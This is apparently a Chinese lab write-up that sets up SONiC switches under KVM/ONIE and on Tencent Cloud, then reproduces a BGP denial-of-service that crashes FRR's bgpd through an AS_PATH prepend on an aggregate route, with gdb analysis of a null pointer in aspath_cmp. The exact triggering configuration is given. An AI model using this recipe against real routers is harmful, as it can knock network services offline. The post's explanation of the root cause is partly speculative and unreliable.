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利用AS_PATH Prepend达成SONIC BGP协议DOS案例复现

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SONiC是一个面向一个开源的交换机操作系统，Software for Open Networking in the Cloud，简称SONiC。GitHub Repo：https://github.com/Azure/SONiC

本文基于SONIC202012，从搭建环境开始，讲解BGP协议DOS攻击的复现，使用gdb调试工具结合到代码和原理对漏洞的原因进行分析。

 

一、使用KVM+ONIE承载SONiC

SONiC是构建网络设备（如交换机）所需功能的软件集合，它必须要有Base OS才能运行，我们用ONIE来承载SONIC。

一开始尝试手动搭建的构建方法，发现各种库没装，装好了编译途中坎坷不断，后来发现官方提供了安装好各种编译环境的容器：https://github.com/opencomputeproject/onie/tree/2021.05-rc1/contrib/build-env

1. 用Docker进行快速编译ONIE

先克隆ONIE的Repo，切换到容器目录，然后安装docker，构建容器

cd ~
git clone -b 2021.05-rc1 https://github.com/opencomputeproject/onie
mkdir ~/src
mv onie src/.
cd src/onie/contrib/build-env
sudo apt-get update
sudo apt install docker.io
sudo docker build -t debian:build-env .

到了这里，镜像就建好了，用下列命令进入容器

mkdir --mode=0777 -p ${HOME}/src
docker run -it -v ${HOME}/src:/home/build/src --name onie debian:build

如果期望分区表为MBR，则需在machine/kvm_x86_64/machine.make把PARTITION_TYPE改成msdos，默认情况下是gpt，有镜像上云的需求需要在这里修改分区表

然后开始编译

cd src/onie
cd build-config/
make -j16 MACHINE=kvm_x86_64 all recovery-iso

进行到一半了

镜像编译完成

看一下生成好的镜像

退出容器，打个包下载下来

exit
cd ~/src/onie/build/
tar -zcvf ~/images.tar.gz images/

2. 安装SONiC到ONIE

文件下载：

  1. 从Jenkins上可以下载到sonic-vs.bin：sonic-vs.bin
  2. OVMF.fd (boot=uefi时必须)

参考文档：

  1. KVM安装步骤参考
  2. 在KVM上安装Onie

目录结构组织参考

步骤开始：

下载 mk-vm.sh

创建空的磁盘镜像：

qemu-img create -f qcow2 onie-x86-demo.img 10G

按目录结构配置mk-vm.sh的CDROM,DISK,OVMF，然后mode先指定成cdrom，boot必须指定bios，内存必须4096。运行./mk-vm.sh（图中指定了boot=ueif、内存2048，导致后续安装失败，已更正)

  • 内存2048失败的原因：启动ONIE时/tmp分区的大小与内存有关，需要有充足的空间供SONIC镜像存放并解包安装
  • boot=uefi时失败的原因：在grub-install的时候卡住，根本原因和SecureBoot有关，参见Issue）

启动后马上进onie-embed自动开始安装onie，没进成功进了recovery，想要回到grub请reboot

CTRL + SHIFT + ] 可以退出KVM，回到telnet敲quit退出到终端，退出时会有提示可以使用sudo kill $kvm_pid杀死KVM进程

装完后有sonic-vs.bin的目录下，宿主机起一个httpserver

python3 -m http.server

rescue模式进入ONIE，onie-nos-install http://虚拟机内网IP/sonic-vs.bin

选择SONIC启动项

过一会就进系统了！！

默认用户名密码：admin/YourPaSsWoRd

3. 附加部分：从制作镜像到上云

为什么要上云？
制作好了镜像，在云上可以直接登录云服务器进行操作，无需复杂的环境配置，等于是开箱即用

这里以腾讯云为平台，进行了SONiC镜像上云的实践。

首先，根据腾讯云文档导入镜像一节的要求，分区表类型不支持GPT，所以我们：

  1. 重新编译了一个分区类型为MSDOS的镜像，修改build-config/arch/x86_64.make找到里面的PARTITION_TYPE改成msdos后按原来的样子重新编译
  2. 并在用qemu-img创建磁盘镜像时，指定磁盘大小40G
  3. 进入装好的SONIC，参照腾讯云文档，按照要求：先检查VirtIO驱动：https://cloud.tencent.com/document/product/213/9929然后安装CloudInit组件：https://cloud.tencent.com/document/product/213/12587其中在执行pip install -r requirements.txt时需要sudo并且把pip改为pip2
  4. 装好组件后，上传到腾讯云COS存储桶中
  5. 导入镜像
  6. 直接从镜像创建云服务器
  7. 登录云服务器

 

二、DOS案例复现

交换机vtysh常用命令：

  1. ?查帮助
  2. 用no开头的命令，比如no ip addr 180.0.3.1/24可以对相关命令取反向的效果
  3. 在进入config时，do XXX(xxx是show开头的查询类命令)可以查看结果
  4. show ip route查看路由表
  5. show interfaces查看所有接口
  6. show ip bgp summary查看bgp摘要
  7. show ip bgp neighbors查看所有bgp的邻居

云服务器资产：

进行下列配置之前，先在VPC上配置路由表，并把路由表应用到两台SONIC所在的子网

具体配置一览如下

标识 内网IP Ethernet8 IP
SONIC1 172.17.16.17/20 192.168.3.1/24
SONIC2 172.17.16.9/20 192.168.3.2/24

1. 网络拓扑

SONIC1

#配置端口IP地址
SONiC1(config):interface Ethernet8
SONiC1(config-if):ip addr 192.168.3.1/24
#建立路由
SONiC1(config):ip route 192.168.3.2/32 172.17.16.9
#清除预设的bgp as
SONiC(config):no router bgp 65100
#建立IBGP邻居，65100是默认的AS号
SONiC(config):router bgp 65100
SONiC1(config-router):neighbor 192.168.3.2 remote-as 65100
SONiC1(config-router):neighbor 192.168.3.2 update-source Ethernet8
//非物理端口建立连接要声明建立连接的端口

SONIC2

#配置端口IP地址
SONiC1(config):interface Ethernet8
SONiC1(config-if):ip addr 192.168.3.2/24
#建立路由
SONiC1(config):ip route 192.168.3.1/32 172.17.16.17
#清除预设的bgp as
SONiC(config):no router bgp 65100
#建立IBGP邻居，65100是默认的AS号
SONiC(config):router bgp 65100
SONiC1(config-router):neighbor 192.168.3.1 remote-as 65100
SONiC1(config-router):neighbor 192.168.3.1 update-source Ethernet8
//非物理端口建立连接要声明建立连接的端口

进行上述配置之后，进行验证，应确保如下所示的条件，才可进行下一步：

  • SONIC1可以通过192.168.3.2到达通SONIC2
  • SONIC2可以通过192.168.3.1到达通SONIC1
  • SONIC1/2互相可以获取到对方的ROUTER ID

具体说明：

以SONIC1为例，执行了ping 192.168.3.2和show ip bgp neighbors进行结果验证：

  • 首先，ping结果正常，如果ping都不通更别想玩bgp了
  • 且bgp邻居的截图中，remote router ID不为0.0.0.0，local router ID是刚刚配置的192.168.3.1自己的IP，并且状态为已建立连接：BGP state = Established

信息统计中不全为0，有收发记录

2. 漏洞复现

先在SONIC1进行配置

sonic# configure terminal
sonic(config)# router bgp 65100
sonic(config-router)# address-family ipv4 unicast
sonic(config-router-af)# aggregate-address 20.0.0.0/24 summary-only route-map 1
sonic(config-router-af)# exit-address-family
sonic(config-router)# route-map 1 permit 1
sonic(config-route-map)# set as-path prepend 1 2 3 4 5

然后在SONIC2配置

sonic# configure terminal
sonic(config)# interface Ethernet20
sonic(config-if)# ip addr 20.0.0.1/31
sonic(config-if)# interface Ethernet24
sonic(config-if)# ip addr 20.0.0.3/31
sonic(config-if)# router bgp 65100
sonic(config-router)# address-family ipv4 unicast
sonic(config-router-af)# redistribute connected

敲完最后一句后，过一会SONIC1的终端就有bgpd服务掉线的反馈信息

在SONIC1敲docker logs bgp，可以在日志里看见bgpd非正常退出了

3. 原因挖掘

bgpd的可执行文件在docker-fpm-frr(Name: bgp)的/usr/lib/frr/bgpd

进入bgp容器，gdb attach上bgpd进程，然后敲个c让他继续执行代码

docker exec -it bgp /bin/bashps -aux | grep "bgpd"gdb -p xxxc #continue

等coredump的时候，gdb会自动断下来，显示代码停在了bgpd/bgp_aspath.c:2053函数是aspath_cmp

layout asm可以看汇编

经过比较，所示汇编代码对应即为该文件的2053行，https://github.com/Azure/sonic-frr/blob/df7ab485bde1a511f131f7ad6b70cb43c48c8e6d/bgpd/bgp_aspath.c

gdb里bt，看一下trace，调用aspath_cmp()函数的时候，第一个参数是0x0，bug找到了：aspath_cmp()没有对传来的参数进行空指针判断

有了源码分析，我们知道关于BGP Prepend，是有一个BGP Prepend Hijacking的安全问题，意思是攻击者可以利用Prepend来修改AS_PATH控制流向目标网络的流量。

在回到我们刚才的配置：

  • SONIC1聚合20.0.0.0/24的路由，在路径上进行prepend，把AS1~5都加入到了路径的左侧，这样去往AS65100的流量，都必然经过AS1~5
  • SONIC2对20.0.0.1/31和20.0.0.1/31进行了发布，SONIC1收到了发布的流量，聚合操作的设定把20.0.0.1/31和20.0.0.1/31加入到自己的Summary里，但是在聚合的时候，需要确定Next Hop，而AS1在网络拓扑中根本不存在，聚合操作找不到这个AS号，所以就崩溃了

在如上所示的场景中，是SONIC进行了Prepend修改AS_PATH，倘若是攻击者实施的AS_PATH Prepend，攻击者的目的就达成了——利用Prepend把不存在的AS加入BGP网络达成DOS攻击。

 

三、总结

BGP导致的大型安全事件数不胜数，被劫持网络流量、引起大规模的网络故障，大多数都是基于BGP协议的传播性，由单点扩散到全局。对漏洞的深入探究和其他BGP协议的漏洞，可以参照KCon2018的议题《BGP安全之殇》。

文章是根据学校实验课程的大作业实践经历改编，作者自己也是在作业的引导之下，第一次研究关于BGP协议方面的漏洞，上文理解和描述可能存在略有不足之处，欢迎大佬们斧正指出错误。